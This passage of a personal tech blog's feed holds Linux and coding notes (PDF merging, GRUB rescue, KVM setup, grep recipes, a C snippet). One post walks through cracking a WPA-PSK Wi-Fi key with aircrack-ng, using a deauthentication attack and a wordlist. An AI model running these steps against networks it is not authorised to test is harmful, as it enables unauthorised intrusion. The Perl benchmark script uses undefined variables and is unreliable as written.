~/fay/2001/2001&lt;br /&gt;mv  A73557033.pdf ~/&lt;br /&gt;pdftk A=~/A73557033.pdf  cat A1 output ~/tmp.pdf&lt;br /&gt;for i in $(ls ~/fay/2001/2001)&lt;br /&gt;do&lt;br /&gt; pdftk A=~/tmp.pdf  B=$i  cat A1-end B1  output ~/tmp1.pdf&lt;br /&gt; mv ~/tmp1.pdf ~/tmp.pdf&lt;br /&gt;done ### This could be condensed into a "one-liner" if desired.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Download database pdf files:&lt;br /&gt;wget -F -np -r -l 2  -nd -nv  -nc nH  -i  a.html&lt;br /&gt;Since the pdf files downloaded are not with .pdf suffix,&lt;br /&gt;have to find the pattern and rename to pdf.&lt;br /&gt;In this case it is with the pattern &lt;br /&gt;"ste=5&amp;docNum=A12345678$"&lt;br /&gt;&lt;br /&gt;for i in $(grep 'ste=5&amp;docNum=.[0-9]\{7,\}$' ./files)&lt;br /&gt;do&lt;br /&gt; a=`echo $i | cut -d= -f5`&lt;br /&gt; echo $a&lt;br /&gt; cp  $i $a.pdf&lt;br /&gt;done&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-7183001906553726162?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/7183001906553726162/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2010/03/merge-pdf-files.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/7183001906553726162'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/7183001906553726162'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2010/03/merge-pdf-files.html' title='merge pdf files'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-7134819698075447420</id><published>2010-03-03T15:57:00.001-08:00</published><updated>2010-03-03T15:57:44.376-08:00</updated><title type='text'>rescue grub</title><content type='html'>What to do when you screw up your MBR.&lt;br /&gt;The following are the steps you should follow;&lt;br /&gt;&lt;br /&gt;Run rescue CD, in rescue mode:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;mkdir /mnt/j&lt;br /&gt;&lt;br /&gt;mount /dev/sda3 /mnt/j&lt;br /&gt;&lt;br /&gt;mount -t proc none /mnt/j/proc&lt;br /&gt;&lt;br /&gt;mount -o bind /dev/ /mnt/j/dev&lt;br /&gt;&lt;br /&gt;chroot /mnt/j /bin/bash&lt;br /&gt;&lt;br /&gt;In new root:&lt;br /&gt;grub&gt; find /boot/grub/grub.conf&lt;br /&gt;(hd0, 2)&lt;br /&gt;&lt;br /&gt;grub&gt; root (hd0,2)&lt;br /&gt;&lt;br /&gt;grub&gt; setup (hd0)&lt;br /&gt;&lt;br /&gt;grub&gt; quit&lt;br /&gt;&lt;br /&gt;sync and reboot&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-7134819698075447420?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/7134819698075447420/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2010/03/rescue-grub.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/7134819698075447420'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/7134819698075447420'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2010/03/rescue-grub.html' title='rescue grub'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-7344342232036101033</id><published>2010-02-09T07:28:00.000-08:00</published><updated>2010-02-09T08:19:24.487-08:00</updated><title type='text'>KVM Installation Tutorial</title><content type='html'>If you want to install KVM on a linux machine, &lt;br /&gt;first check whether KVM is hardware supported.&lt;br /&gt;&lt;pre&gt;sudo egrep '(vmx|svm)'  /proc/cpuinfo&lt;br /&gt;&lt;/pre&gt;if nothing displays as result, then your machine don't support KVM.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The following is step by step tutorial on KVM installation.&lt;br /&gt;&lt;br /&gt;------------------------------------------&lt;br /&gt;&lt;b&gt;On ubuntu:&lt;/b&gt;&lt;br /&gt;------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;sudo apt-get install kvm libvirt-bin virt-manager&lt;br /&gt;&lt;br /&gt;sudo adduser $USERNAME libvirtd&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;'virt-manager' is a very helpful tool to create&lt;br /&gt;&lt;br /&gt;new guests. But you need GUI access to the host&lt;br /&gt;&lt;br /&gt;in order to use virt-manager.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Click 'new' and choose install media&lt;br /&gt;&lt;br /&gt;from either CD or ISO file, (You can either &lt;br /&gt;&lt;br /&gt;insert an installation CD or download an &lt;br /&gt;&lt;br /&gt;ISO file from any websites like:&lt;br /&gt;&lt;br /&gt;[[http://www.ubuntu.com/GetUbuntu/download]]&lt;br /&gt;&lt;br /&gt;I am using 64bit machine, so I choosed&lt;br /&gt;ubuntu-8.04.4-desktop-amd64.iso.&lt;br /&gt;&lt;br /&gt;go step by step as instructed in virt-manager.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Note:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;If you don't want to use whole&lt;br /&gt;&lt;br /&gt;disk partition as the guest image, you can use dd to create&lt;br /&gt;&lt;br /&gt;a guest image file.&lt;br /&gt;&lt;br /&gt;suppose you want all your guest reside in a 8G img file.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;sudo dd if=/dev/zero of=GUEST_NAME.img  bs=1024  count=8192000&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;and choose the img file during the interactive steps.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------&lt;br /&gt;&lt;b&gt;Configuring Network:&lt;/b&gt;&lt;br /&gt;-------------------------------------------------------&lt;br /&gt;Suppose my machine is o22:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;sudo vi /etc/network/interfaces&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Edit lines as following:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;auto eth0&lt;br /&gt;iface eth0 inet manual&lt;br /&gt;auto br0&lt;br /&gt;iface br0 inet static&lt;br /&gt;address 10.128.0.22&lt;br /&gt;netmask 255.255.0.0&lt;br /&gt;broadcast 10.128.255.255&lt;br /&gt;gateway 10.128.0.1&lt;br /&gt;bridge_ports eth0&lt;br /&gt;bridge_fd 0&lt;br /&gt;bridge_maxwait 0&lt;br /&gt;bridge_stp off&lt;br /&gt;&lt;/pre&gt;&lt;i&gt;sudo /etc/init.d/networking restart&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Need to disable dhcdbd from starting on boot:&lt;br /&gt;&lt;pre&gt;sudo /etc/init.d/dhcdbd stop&lt;br /&gt;sudo update-rc.d -f dhcdbd remove&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;You can use virt-manager to start the guests.&lt;br /&gt;&lt;br /&gt;For the first time users I will suggest you using &lt;br /&gt;&lt;br /&gt;dhcp for the guests since you don't know&lt;br /&gt;&lt;br /&gt;which subnet the VNET is in.&lt;br /&gt;&lt;br /&gt;Suppose it is a Ubuntu guest:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;sudo vi /etc/network/interfaces&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Add lines:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;auto lo&lt;br /&gt;iface lo inet loopback&lt;br /&gt;&lt;br /&gt;auto eth0&lt;br /&gt;iface eth0 inet dhcp&lt;br /&gt;&lt;/pre&gt;&lt;i&gt;sudo /etc/init.d/networking restart&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;System allocated default ip address for the guests&lt;br /&gt;is always like: 192.168.122.*&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Alternatively you can use command line(&lt;b&gt;virsh&lt;/b&gt;)&lt;br /&gt;to manage the guests:&lt;br /&gt;&lt;br /&gt;http://www.centos.org/docs/5/html/5.2/Virtualization/chap-Virtualization-Managing_guests_with_virsh.html&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can use '''virt-viewer''' application to connect to a virtual&lt;br /&gt;&lt;br /&gt;machine's console. But it requires GUI with the virtual machine. &lt;br /&gt;&lt;i&gt;virt-viewer qemu:///system -c GUEST_NAME&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;---------------------------------------------------&lt;br /&gt;&lt;b&gt;Fedora&lt;/b&gt;&lt;br /&gt;---------------------------------------------------&lt;br /&gt;On Fedora installing KVM is quite similar to Ubuntu,&lt;br /&gt;&lt;br /&gt;but much easier steps:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;sudo yum groupinstall 'Virtualization'&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;and run 'virt-manager' click new, &lt;br /&gt;&lt;br /&gt;use a install cd or install image(iso)&lt;br /&gt;&lt;br /&gt;to install the guests.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-7344342232036101033?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/7344342232036101033/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2010/02/kvm-on-ubuntu-and-fedora.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/7344342232036101033'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/7344342232036101033'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2010/02/kvm-on-ubuntu-and-fedora.html' title='KVM Installation Tutorial'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-7763579041551898225</id><published>2010-01-19T09:41:00.000-08:00</published><updated>2010-01-19T09:41:48.856-08:00</updated><title type='text'>perl Generate CDF for Benchmark Tests</title><content type='html'>&lt;pre&gt;use Cwd;&lt;br /&gt;use DBI;&lt;br /&gt;use Benchmark;&lt;br /&gt;&lt;br /&gt;use Time::HiRes qw(usleep ualarm gettimeofday tv_interval);&lt;br /&gt;use POSIX;&lt;br /&gt;&lt;br /&gt;$count=10000;&lt;br /&gt;@nums = (0 .. 9999);&lt;br /&gt;&lt;br /&gt;print "wj Test of  execute selects of 100 items\n";&lt;br /&gt;$loop_time=new Benchmark;&lt;br /&gt;&lt;br /&gt;for ($i=1 ; $i &lt;= $count ; $i++)&lt;br /&gt;{&lt;br /&gt;  my ($key_value)=$random[$i];&lt;br /&gt;  my ($query)= "select * from bench1 where id&lt;$key_value and id&gt;($key_value+100)";  &lt;br /&gt;  print "$query\n" if ($opt_debug);&lt;br /&gt;$t0 = [gettimeofday]; &lt;br /&gt;  $sth = $dbh-&gt;prepare($query);&lt;br /&gt;  while ($sth-&gt;fetchrow_arrayref) { };      &lt;br /&gt;$nums[$i-1] = floor(tv_interval($t0, [gettimeofday])*1000000 + 0.5);&lt;br /&gt;&lt;br /&gt;  $sth-&gt;finish;&lt;br /&gt;};&lt;br /&gt;$end_time=new Benchmark;&lt;br /&gt;&lt;br /&gt;print "Time for prepared_select ($count): " .&lt;br /&gt;    timestr(timediff($end_time, $loop_time),"all") . "\n";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#wj&lt;br /&gt;@nums = sort{$a&lt;=&gt;$b}(@nums);&lt;br /&gt;open (MYFILE, '&gt;tmp');&lt;br /&gt;for ($i= 0; $i&lt; $count; $i++) {&lt;br /&gt; $percent = $i/$count;&lt;br /&gt; $cdf = join "",$nums[$i],"\t",$percent; &lt;br /&gt; if ($nums[$i] !=  $nums[$i+1] || $i == count-1) {&lt;br /&gt;  print MYFILE "$cdf\n"; &lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;close (MYFILE); &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-7763579041551898225?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/7763579041551898225/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2010/01/perl-generate-cdf-for-benchmark-tests.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/7763579041551898225'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/7763579041551898225'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2010/01/perl-generate-cdf-for-benchmark-tests.html' title='perl Generate CDF for Benchmark Tests'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-2162577771663956064</id><published>2009-12-15T21:14:00.001-08:00</published><updated>2009-12-15T21:14:27.193-08:00</updated><title type='text'>Find common data from three files</title><content type='html'>Given 3 files, each with names of thousands of customers who bought something from Amazon.com on that particular day. Find the common customers (i.e. common names in file1 and file2 and file3)&lt;br /&gt;&lt;br /&gt;Solution:&lt;br /&gt;&lt;br /&gt;1) assuming UNIX like systems:&lt;br /&gt;&lt;br /&gt;cat f1 f2 | sort | uniq -d &gt; tmpfile;&lt;br /&gt;&lt;br /&gt;cat f3 tmpfile | sort | uniq -d&lt;br /&gt;&lt;br /&gt;-------------------&lt;br /&gt;Better options:&lt;br /&gt;sort f1 f2 f3 |uniq -d&lt;br /&gt;&lt;br /&gt;http://www.softpanorama.org/Tools/Sort/unix_sort_examples_collection.shtml&lt;br /&gt;sort -t ':' -k 3,4 /etc/passwd&lt;br /&gt;&lt;br /&gt;http://amazoninterview.blogspot.com/2007/05/find-common-data-from-three-files.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-2162577771663956064?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/2162577771663956064/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2009/12/find-common-data-from-three-files.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/2162577771663956064'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/2162577771663956064'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2009/12/find-common-data-from-three-files.html' title='Find common data from three files'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-6481147861439178792</id><published>2009-12-15T20:44:00.000-08:00</published><updated>2009-12-15T20:44:13.036-08:00</updated><title type='text'>find files with phone number</title><content type='html'>with following two formats&lt;br /&gt; (xxx) xxx-xxxx and xxx-xxx-xxxx.&lt;br /&gt;&lt;br /&gt;-l list only filename&lt;br /&gt;grep -l -R --perl-regexp "\b(\(\d{3}\)\s*|\d{3}-)\d{3}-\d{4}\b" * &gt; output.txt&lt;br /&gt;&lt;br /&gt;(xxx) or xxx-&lt;br /&gt;\(\d{3}\)\s*|\d{3}-&lt;br /&gt;xxx-xxxx&lt;br /&gt;\d{3}-\d{4}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.wellho.net/regex/grep.html&lt;br /&gt;http://www.robelle.com/smugbook/regexpr.html&lt;br /&gt;(grep doesn't support "+" "|" "()"&lt;br /&gt;(xxx) or xxx-&lt;br /&gt;egrep "\([0-9]\{3\})|[0-9]\{3\}-" ./*&lt;br /&gt;ls -1 list 1 file one line:&lt;br /&gt;ls -1 | egrep 'DIV_(pharm|dental|vision)&lt;br /&gt;&lt;br /&gt;perl replace "search" with "replace" and make the file as backup&lt;br /&gt;perl -pi.bak -e's/searchs/replaces/' file1 file2 file3 fileN&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-6481147861439178792?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/6481147861439178792/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2009/12/find-files-with-phone-number.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/6481147861439178792'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/6481147861439178792'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2009/12/find-files-with-phone-number.html' title='find files with phone number'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-4181155519707733778</id><published>2009-12-07T20:18:00.000-08:00</published><updated>2009-12-07T20:18:00.480-08:00</updated><title type='text'>Using aircrack-ng to hack WPA wireless protocol</title><content type='html'>Forum&lt;br /&gt;http://forum.aircrack-ng.org/index.php?PHPSESSID=175264d2aaf388739350642fae99a34a&amp;board=1.0&lt;br /&gt;&lt;br /&gt;Windows network commands&lt;br /&gt;http://whirlpool.net.au/wiki/?tag=Windows_NW_Diag_Cmds&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;linux manual&lt;br /&gt;http://www.aircrack-ng.org/doku.php?id=getting_started&lt;br /&gt;http://www.aircrack-ng.org/doku.php?id=airserv-ng&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;airserv-ng -d "commview.dll| {my adapter id}" &lt;br /&gt;此时airserv-ng就在正常载入驱动后，同时开始监听本地的666端口。换句话说，airserv-ng提供的是该无线网卡的网络服务，其他计算机上的用户也可以连接到这个端口来使用这块网卡，如图5-30所示。&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;步骤2：现在可以使用airodump-ng来搜索当前无线环境了。注意，要另开启一个CMD，再输入如下命令：&lt;br /&gt;&lt;br /&gt;airodump-ng 127.0.0.1：666&lt;br /&gt;这里在IP地址处输入为本机即127.0.0.1，端口采用的是默认的666。&lt;br /&gt; &lt;br /&gt;airodump-ng --channel number -w filename 127.0.0.1:666&lt;br /&gt;这里输入“airodump-ng --channel 7 -w onewpa 127.0.0.1:666”，回车后可看到如图5-32所示的内容。&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;步骤3：现在，就可以和前面在BackTrack 2中讲述的一样进行Deauth攻击了，另开启一个CMD，输入（如图5-33所示）：&lt;br /&gt;&lt;br /&gt;aireplay-ng -0 1 -a AP’s MAC 127.0.0.1:666 &lt;br /&gt; &lt;br /&gt;在个别情况下，可能会在上面命令结束时出现wi_write&lt;&gt;:Operation now progress这样的提示，这个提示在很多无线网卡下都会出现，意思是当前进程调用被占用时，Deauth攻击在大多数情况下并不会受此影响。&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;步骤4：再开启一个CMD，输入命令查看是否捕获到WPA握手数据包。命令如下：&lt;br /&gt;&lt;br /&gt;aircrack-ng 捕获的数据包名&lt;br /&gt;如果没有捕获到WPA握手数据包，就会有显示的“0 handshake”，这个时候切回到刚才aireplay-ng所在的CMD中&lt;br /&gt;重复进行Deauth攻击。&lt;br /&gt; &lt;br /&gt;攻击过程中注意观察airodump-ng工作界面，当右上角出现如图5-35所示的提示时，就表示成功截获到WPA握手数据包了。&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;此时再次使用aircrack-ng 打开捕获的数据包，就可以看到截获到WPA &lt;1 handshake&gt;的显示了，&lt;br /&gt;接下来便可以进行WPA本地破解了。&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;破解WPA-PSK输入命令如下：&lt;br /&gt;&lt;br /&gt;aircrack-ng -w password.txt onewpa*.cap&lt;br /&gt;这里介绍一个小技巧，可以在输入数据包名后面加一个*号，来自动将捕获的该名称的所有数据包整合导入。回车后，显示如图5-37所示。&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;如同在Linux下破解WPA一般耐心地等待，就可以看到WPA密钥成功解出了.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-4181155519707733778?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/4181155519707733778/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2009/12/using-aircrack-ng-to-hack-wpa-wireless.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/4181155519707733778'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/4181155519707733778'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2009/12/using-aircrack-ng-to-hack-wpa-wireless.html' title='Using aircrack-ng to hack WPA wireless protocol'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-8565555036573262496</id><published>2009-11-30T21:03:00.001-08:00</published><updated>2009-11-30T21:06:36.465-08:00</updated><title type='text'>{1,5, -5, -8,2, -1,15 } -&gt;  {-5, -8, -1, 1, 5, 2,15}</title><content type='html'>每遇到一个负数, instead of exchange with the&lt;br /&gt;first 正数，把前面的正数right round shift就可以了。&lt;br /&gt;&lt;br /&gt;Index 0  1  2  3&lt;br /&gt;Data  1  5  4  -5&lt;br /&gt;&lt;br /&gt;L = 0, R = 3 &lt;br /&gt;right round shift from 1 to -5 就变成&lt;br /&gt;-5 1 5 4&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;void shiftright(int* A, int L, int R) {&lt;br /&gt;        int tmp=A[R],i;&lt;br /&gt;        for (i=R; i&gt;L; i--) {&lt;br /&gt;                A[i] = A[i-1];&lt;br /&gt;        }&lt;br /&gt;        A[L] = tmp;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int main(){&lt;br /&gt;        int a[] = {-7, -8, 9, -6, -11, -3, -5, 2, 3};&lt;br /&gt;        int n, i, j= 0;&lt;br /&gt;        n = sizeof(a)/sizeof(int);&lt;br /&gt;        printf("array size %d\n", n);&lt;br /&gt;&lt;br /&gt;        for(i=0; i&lt;n; i++){&lt;br /&gt;                if (a[i] &lt; 0) {&lt;br /&gt;                        if (i==j) { j++;  continue; }&lt;br /&gt;                        shiftright(a, j++, i );&lt;br /&gt;                }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        for(i=0; i&lt;n; i++){&lt;br /&gt;                printf("%d\t", a[i]);&lt;br /&gt;        }&lt;br /&gt;        printf("\n");&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-8565555036573262496?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/8565555036573262496/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2009/11/15-5-82-115-5-8-1-1-5-215.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/8565555036573262496'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/8565555036573262496'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2009/11/15-5-82-115-5-8-1-1-5-215.html' title='{1,5, -5, -8,2, -1,15 } -&gt;  {-5, -8, -1, 1, 5, 2,15}'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-122118612364980708</id><published>2009-11-15T18:48:00.000-08:00</published><updated>2009-11-15T19:07:36.448-08:00</updated><title type='text'>Software development under Linux</title><content type='html'>Posted on 2003, a little bit old, but still very useful guide for&lt;br /&gt;linux beginners.&lt;br /&gt;http://reallylongword.org/gentoo/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Quick start on python&lt;br /&gt;http://reallylongword.org/python/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;How to create SVN repository&lt;br /&gt;http://reallylongword.org/svn/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-122118612364980708?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/122118612364980708/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2009/11/software-development-under-linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/122118612364980708'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/122118612364980708'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2009/11/software-development-under-linux.html' title='Software development under Linux'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-4398974575011443923</id><published>2009-11-15T00:26:00.000-08:00</published><updated>2009-11-20T13:34:12.647-08:00</updated><title type='text'>grep/cut/perl usage examples</title><content type='html'>grep -o &lt;br /&gt;Only print the match part.&lt;br /&gt;grep -A num&lt;br /&gt;Print num lines after the match&lt;br /&gt;&lt;br /&gt;grep "\&lt;" match the empty string at the beginning&lt;br /&gt;of the word&lt;br /&gt;$ echo "so  happy  i am " | grep -o  "\&lt;ha.*y\&gt;"&lt;br /&gt;happy&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;echo -e "\t"&lt;br /&gt;Show special chars in script string.&lt;br /&gt;&lt;br /&gt;cut -s&lt;br /&gt;  do not print lines not containing delimiters&lt;br /&gt;&lt;br /&gt;&lt;pre class="example"&gt;&lt;br /&gt;#!/bin/bash&lt;br /&gt;for file in $(ls *.html)&lt;br /&gt;do&lt;br /&gt;        match=$(perl parse.pl $file | grep -A 1   Manufacturer:)&lt;br /&gt;        manu=$(echo $match | grep -w -o  Manufacturer:.*Mfr | sed 's/Manufacturer://g'|  sed 's/M&lt;br /&gt;fr//g')&lt;br /&gt;        date=$(echo $match | grep -w -o  "Date:.*NHTSA CAMPAIGN"| sed 's/Date://g'|  sed 's/NHTSA&lt;br /&gt; CAMPAIGN//g')&lt;br /&gt;        comp=$(echo $match | grep -w -o  Component:.*Potential | sed 's/Component: //g'|  sed 's/&lt;br /&gt;Potential//g')&lt;br /&gt;        num=$(echo $match | grep -w -o  Affected:.*Summary | sed 's/Affected: //g'|  sed 's/Summa&lt;br /&gt;ry//g')&lt;br /&gt;&lt;br /&gt;        echo -e  "$manu\t$comp\t$num\t$date" &gt;&gt; table&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;#       